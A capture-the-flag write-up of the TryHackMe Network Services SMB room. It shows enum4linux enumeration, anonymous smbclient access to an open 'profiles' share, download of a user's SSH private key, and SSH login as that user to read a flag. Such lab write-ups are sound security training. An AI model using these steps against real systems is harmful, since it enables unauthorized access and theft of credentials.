TryHackMe Network Services 1 (SMB) Writeup
📚 Series · TryHackMe Network Services
- ▸ Part 1: SMB (this post)
- Part 2: SMTP
- Part 2: MySQL
Note: this room is split into several parts, so I'll be documenting the info for each one separately.
📋 Target Info
- Target IP:
10.201.x.x - Service: SMB (Samba on Ubuntu)
- Goal: Gain system access by exploiting SMB misconfigurations
1. Enumerating the SMB Service
Run a full enumeration with enum4linux:
enum4linux -a 10.201.15.179
Key findings:
System Info
- Hostname:
POLOSMB - OS:
Samba, Ubuntu - Workgroup:
WORKGROUP
Share Listing
Sharename Type Comment
--------- ---- -------
netlogon Disk Network Logon Service
profiles Disk Users profiles ⬅️ suspicious!
print$ Disk Printer Drivers
IPC$ IPC IPC Service
Access Permission Test
//10.201.15.179/profiles Mapping: OK Listing: OK Writing: N/A
✅ The profiles share allows anonymous access!
Password Policy
Minimum password length: 5
Password Complexity: Disabled
Account Lockout Threshold: None
⚠️ The password policy is extremely lax
2. Accessing the SMB Share Anonymously
Connect anonymously with smbclient:
smbclient //10.201.15.179/profiles -U Anonymous -N
List the contents of the share:
smb: \> ls
Notable files found:
- 📄
Working From Home Information.txt- contains user info - 📁
.ssh/- SSH key directory
3. Grabbing the Sensitive Data
Download the text file:
smb: \> get "Working From Home Information.txt"
Enter the .ssh directory and download the private key:
smb: \> cd .ssh
smb: \.ssh\> ls
smb: \.ssh\> get id_rsa
smb: \.ssh\> exit
4. Analyzing the Downloaded Files
Check the contents of the text file (it should reveal the username cactus):
cat "Working From Home Information.txt"
Set the permissions on the SSH private key:
chmod 600 id_rsa
5. SSH Login
Log in using the SSH private key we obtained:
ssh -i id_rsa [email protected]
Logged in successfully!
Welcome to Ubuntu 20.04.6 LTS
cactus@POLOSMB:~$
6. Grabbing the Flag
cactus@POLOSMB:~$ ls
smb.txt
cactus@POLOSMB:~$ cat smb.txt
THM{Redacted}
Key Takeaways
- ✅
enum4linux- SMB enumeration - ✅
smbclient- SMB client access - ✅ SSH key authentication
- ✅ Linux file permission management
Member discussion